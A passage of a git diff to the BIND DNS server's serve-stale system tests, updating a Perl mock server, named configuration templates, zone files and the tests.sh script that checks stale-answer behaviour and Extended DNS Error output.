@@ -186,6 +228,44 @@ sub reply_handler {
 	    push @auth, $rr;
 	}
 	$rcode = "NOERROR";
+    } elsif ($qname eq "ns.slow" ) {
+	if ($qtype eq "A") {
+	    my $rr = new Net::DNS::RR($slowA);
+	    push @ans, $rr;
+	} else {
+	    my $rr = new Net::DNS::RR($slowSOA);
+	    push @auth, $rr;
+	}
+	$rcode = "NOERROR";
+    } elsif ($qname eq "slow") {
+	if ($qtype eq "NS") {
+	    my $rr = new Net::DNS::RR($slowNS);
+	    push @auth, $rr;
+	    $rr = new Net::DNS::RR($slowA);
+	    push @add, $rr;
+	} elsif ($qtype eq "SOA") {
+	    my $rr = new Net::DNS::RR($slowSOA);
+	    push @ans, $rr;
+	} else {
+	    my $rr = new Net::DNS::RR($slowSOA);
+	    push @auth, $rr;
+	}
+	$rcode = "NOERROR";
+    } elsif ($qname eq "data.slow") {
+	if ($slow_response) {
+                print "  Sleeping 3 seconds\n";
+		sleep(3);
+		# only one time
+		$slow_response = 0;
+	}
+	if ($qtype eq "TXT") {
+	    my $rr = new Net::DNS::RR($slowTXT);
+	    push @ans, $rr;
+	} else {
+	    my $rr = new Net::DNS::RR($slownegSOA);
+	    push @auth, $rr;
+	}
+	$rcode = "NOERROR";
     } else {
         my $rr = new Net::DNS::RR($SOA);
 	push @auth, $rr;
diff --git a/bin/tests/system/serve-stale/clean.sh b/bin/tests/system/serve-stale/clean.sh
index 3415ccd004..b4a0d5070e 100644
--- a/bin/tests/system/serve-stale/clean.sh
+++ b/bin/tests/system/serve-stale/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/serve-stale/ns1/named1.conf.in b/bin/tests/system/serve-stale/ns1/named1.conf.in
index 41347871cd..d25611db02 100644
--- a/bin/tests/system/serve-stale/ns1/named1.conf.in
+++ b/bin/tests/system/serve-stale/ns1/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,6 +29,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	max-stale-ttl 3600;
 	stale-answer-ttl 4;
 	stale-answer-enable yes;
diff --git a/bin/tests/system/serve-stale/ns1/named2.conf.in b/bin/tests/system/serve-stale/ns1/named2.conf.in
index 06fae5369c..82e5e76550 100644
--- a/bin/tests/system/serve-stale/ns1/named2.conf.in
+++ b/bin/tests/system/serve-stale/ns1/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,10 +29,12 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
-	max-stale-ttl 20;
-	stale-answer-ttl 3;
+	dnssec-validation no;
+	max-stale-ttl 3600;
+	stale-answer-ttl 4;
 	stale-answer-enable yes;
 	stale-cache-enable yes;
+	stale-refresh-time 0;
 	servfail-ttl 0;
 };
 
diff --git a/bin/tests/system/serve-stale/ns1/named3.conf.in b/bin/tests/system/serve-stale/ns1/named3.conf.in
index f97dea958d..4f6f17573a 100644
--- a/bin/tests/system/serve-stale/ns1/named3.conf.in
+++ b/bin/tests/system/serve-stale/ns1/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,11 +29,11 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	max-stale-ttl 20;
 	stale-answer-ttl 3;
 	stale-answer-enable yes;
 	stale-cache-enable yes;
-	stale-refresh-time 0;
 	servfail-ttl 0;
 };
 
diff --git a/bin/tests/system/serve-stale/ns1/named4.conf.in b/bin/tests/system/serve-stale/ns1/named4.conf.in
new file mode 100644
index 0000000000..f2cc2a853c
--- /dev/null
+++ b/bin/tests/system/serve-stale/ns1/named4.conf.in
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation no;
+	max-stale-ttl 20;
+	stale-answer-ttl 3;
+	stale-answer-enable yes;
+	stale-cache-enable yes;
+	stale-refresh-time 0;
+	servfail-ttl 0;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
+
+zone "stale.test" {
+	type primary;
+	file "stale.test.db";
+};
diff --git a/bin/tests/system/serve-stale/ns1/root.db b/bin/tests/system/serve-stale/ns1/root.db
index 2e8ca62f67..aef8e31c7a 100644
--- a/bin/tests/system/serve-stale/ns1/root.db
+++ b/bin/tests/system/serve-stale/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -12,3 +14,5 @@
 ns.nil.		300	A	10.53.0.1
 example.	300	NS	ns.example.
 ns.example.	300	A	10.53.0.2
+slow.		300	NS	ns.slow.
+ns.slow.	300	A	10.53.0.2
diff --git a/bin/tests/system/serve-stale/ns1/stale.test.db b/bin/tests/system/serve-stale/ns1/stale.test.db
new file mode 100644
index 0000000000..d389e7c6a6
--- /dev/null
+++ b/bin/tests/system/serve-stale/ns1/stale.test.db
@@ -0,0 +1,19 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$ORIGIN stale.test.
+stale.test.		300	SOA	. . 0 0 0 0 0
+stale.test.		300	NS	ns.stale.test.
+ns.stale.test.		300	A	10.53.0.1
+cname1.stale.test.	1	CNAME	a1.stale.test.
+a1.stale.test.		1	A	192.0.2.1
+cname2.stale.test.	1	CNAME	a2.stale.test.
+a2.stale.test.		300	A	192.0.2.2
diff --git a/bin/tests/system/serve-stale/ns3/named1.conf.in b/bin/tests/system/serve-stale/ns3/named1.conf.in
index d76b348151..5c7dddd807 100644
--- a/bin/tests/system/serve-stale/ns3/named1.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -29,6 +31,7 @@ options {
 	recursion yes;
 	dump-file "named_dump3.db";
 	stale-cache-enable yes;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/serve-stale/ns3/named2.conf.in b/bin/tests/system/serve-stale/ns3/named2.conf.in
index 40c053e07f..0a316d844c 100644
--- a/bin/tests/system/serve-stale/ns3/named2.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named2.conf.in
@@ -1,22 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Test default stale-answer-client-timeout value
  */
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -37,13 +38,14 @@ options {
 	stale-cache-enable yes;
 	stale-answer-ttl 3;
 	stale-refresh-time 0;
-	stale-answer-client-timeout 1800;
+	stale-answer-client-timeout 1800; # 1.8 seconds
+	recursive-clients 10; # CVE-2022-3924
 	max-stale-ttl 3600;
-	resolver-query-timeout 10;
+	resolver-query-timeout 30000; # 30 seconds
+	qname-minimization disabled;
 };
 
 zone "." {
-	type secondary;
-	primaries { 10.53.0.1; };
-	file "root.bk";
+	type hint;
+	file "root.db";
 };
diff --git a/bin/tests/system/serve-stale/ns3/named3.conf.in b/bin/tests/system/serve-stale/ns3/named3.conf.in
index 7d50bc8ff8..cef5e52767 100644
--- a/bin/tests/system/serve-stale/ns3/named3.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named3.conf.in
@@ -1,22 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Test disable of stale-answer-client-timeout.
  */
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -38,7 +39,7 @@ options {
 	stale-answer-ttl 3;
 	stale-refresh-time 0;
 	max-stale-ttl 3600;
-	resolver-query-timeout 10;
+	resolver-query-timeout 10000; # 10 seconds
 };
 
 zone "." {
diff --git a/bin/tests/system/serve-stale/ns3/named4.conf.in b/bin/tests/system/serve-stale/ns3/named4.conf.in
index 5fd5ef82f4..abc1eb75af 100644
--- a/bin/tests/system/serve-stale/ns3/named4.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named4.conf.in
@@ -1,22 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Test stale-answer-client-timeout 0.
  */
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -38,8 +39,9 @@ options {
 	stale-answer-ttl 3;
 	stale-answer-client-timeout 0;
 	stale-refresh-time 0;
-	resolver-query-timeout 10;
+	resolver-query-timeout 10000; # 10 seconds
 	max-stale-ttl 3600;
+	recursive-clients 10;
 };
 
 zone "." {
diff --git a/bin/tests/system/serve-stale/ns3/named5.conf.in b/bin/tests/system/serve-stale/ns3/named5.conf.in
index 92b2cdf108..b695901413 100644
--- a/bin/tests/system/serve-stale/ns3/named5.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named5.conf.in
@@ -1,22 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Test stale-answer-client-timeout 0.
  */
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -38,7 +39,7 @@ options {
 	stale-answer-ttl 3;
 	stale-answer-client-timeout 0;
 	stale-refresh-time 4;
-	resolver-query-timeout 10;
+	resolver-query-timeout 10000; # 10 seconds
 	max-stale-ttl 3600;
 };
 
diff --git a/bin/tests/system/serve-stale/ns3/named6.conf.in b/bin/tests/system/serve-stale/ns3/named6.conf.in
index 2b7c42c456..307c3bcedc 100644
--- a/bin/tests/system/serve-stale/ns3/named6.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named6.conf.in
@@ -1,22 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
-/*
- * Test stale-answer-client-timeout 0.
- */
-
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -37,7 +34,7 @@ options {
 	stale-cache-enable yes;
 	stale-answer-ttl 3;
 	stale-refresh-time 4;
-	resolver-query-timeout 10;
+	resolver-query-timeout 10000; # 10 seconds
 	fetches-per-zone 1 fail;
 	fetches-per-server 1 fail;
 	max-stale-ttl 3600;
diff --git a/bin/tests/system/serve-stale/ns3/named7.conf.in b/bin/tests/system/serve-stale/ns3/named7.conf.in
index 10e77d7d25..12d9ee38bc 100644
--- a/bin/tests/system/serve-stale/ns3/named7.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named7.conf.in
@@ -1,22 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Test serve-stale interaction with fetch-limits (dual-mode).
  */
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -41,7 +42,7 @@ options {
 	stale-cache-enable yes;
 	stale-answer-ttl 3;
 	stale-refresh-time 4;
-	resolver-query-timeout 10;
+	resolver-query-timeout 10000; # 10 seconds
 	fetches-per-zone 1 fail;
 	fetches-per-server 1 fail;
 	max-stale-ttl 3600;
diff --git a/bin/tests/system/serve-stale/ns3/named8.conf.in b/bin/tests/system/serve-stale/ns3/named8.conf.in
index 3c135af04f..7b5792d12f 100644
--- a/bin/tests/system/serve-stale/ns3/named8.conf.in
+++ b/bin/tests/system/serve-stale/ns3/named8.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,6 +29,7 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	stale-answer-enable yes;
 	stale-cache-enable yes;
 	stale-answer-client-timeout 1800;
diff --git a/bin/tests/system/serve-stale/ns3/root.db b/bin/tests/system/serve-stale/ns3/root.db
index 8f779b0878..bbf039c987 100644
--- a/bin/tests/system/serve-stale/ns3/root.db
+++ b/bin/tests/system/serve-stale/ns3/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/serve-stale/ns4/named.conf.in b/bin/tests/system/serve-stale/ns4/named.conf.in
index a6d0cc1e51..ac7dd997c1 100644
--- a/bin/tests/system/serve-stale/ns4/named.conf.in
+++ b/bin/tests/system/serve-stale/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,6 +29,7 @@ options {
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	dump-file "named_dump.db";
 	stale-answer-enable no;
 	stale-cache-enable yes;
diff --git a/bin/tests/system/serve-stale/ns5/named.conf.in b/bin/tests/system/serve-stale/ns5/named.conf.in
index af725f6d48..9874728cbe 100644
--- a/bin/tests/system/serve-stale/ns5/named.conf.in
+++ b/bin/tests/system/serve-stale/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,6 +29,7 @@ options {
 	listen-on { 10.53.0.5; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	dump-file "named_dump.db";
 	stale-answer-enable yes;
 	stale-cache-enable no;
diff --git a/bin/tests/system/serve-stale/setup.sh b/bin/tests/system/serve-stale/setup.sh
index 02fd1990ca..0a0dc476b5 100644
--- a/bin/tests/system/serve-stale/setup.sh
+++ b/bin/tests/system/serve-stale/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/serve-stale/tests.sh b/bin/tests/system/serve-stale/tests.sh
index b3b0071090..aec5f953f5 100755
--- a/bin/tests/system/serve-stale/tests.sh
+++ b/bin/tests/system/serve-stale/tests.sh
@@ -1,18 +1,22 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
-DIG="$DIG +time=11"
+DIG="$DIG +time=12 +tries=1"
 
 max_stale_ttl=$(sed -ne 's,^[[:space:]]*max-stale-ttl \([[:digit:]]*\).*,\1,p' $TOP_SRCDIR/bin/named/config.c)
 stale_answer_ttl=$(sed -ne 's,^[[:space:]]*stale-answer-ttl \([[:digit:]]*\).*,\1,p' $TOP_SRCDIR/bin/named/config.c)
@@ -26,7 +30,7 @@ n=0
 echo_i "test server with serve-stale options set"
 
 n=$((n+1))
-echo_i "prime cache longttl.example ($n)"
+echo_i "prime cache longttl.example TXT ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 longttl.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -35,7 +39,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example ($n)"
+echo_i "prime cache data.example TXT ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -44,7 +48,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache othertype.example ($n)"
+echo_i "prime cache othertype.example CAA ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -53,7 +57,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example ($n)"
+echo_i "prime cache nodata.example TXT ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -62,7 +66,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nxdomain.example ($n)"
+echo_i "prime cache nxdomain.example TXT ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$n
 grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
@@ -100,7 +104,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -114,62 +118,65 @@ rndc_dumpdb ns1 || ret=1
 awk '/; stale/ { x=$0; getline; print x, $0}' ns1/named_dump.db.test$n |
     grep "; stale data\.example.*3[56]...*TXT.*A text record with a 2 second ttl" > /dev/null 2>&1 || ret=1
 # Also make sure the not expired data does not have a stale comment.
-awk '/; answer/ { x=$0; getline; print x, $0}' ns1/named_dump.db.test$n |
-    grep "; answer longttl\.example.*[56]...*TXT.*A text record with a 600 second ttl" > /dev/null 2>&1 || ret=1
+awk '/; authanswer/ { x=$0; getline; print x, $0}' ns1/named_dump.db.test$n |
+    grep "; authanswer longttl\.example.*[56]...*TXT.*A text record with a 600 second ttl" > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-echo_i "sending queries for tests $((n+1))-$((n+4))..."
+echo_i "sending queries for tests $((n+1))-$((n+5))..."
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.1 longttl.example TXT > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$((n+3)) &
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$((n+4)) &
-$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+5))
+$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+5)) &
 
 wait
 
 n=$((n+1))
-echo_i "check stale data.example ($n)"
+echo_i "check stale data.example TXT ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*4.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check non-stale longttl.example ($n)"
+echo_i "check non-stale longttl.example TXT ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "longttl\.example\..*59[0-9].*IN.*TXT.*A text record with a 600 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale othertype.example ($n)"
+echo_i "check stale othertype.example CAA ($n)"
 ret=0
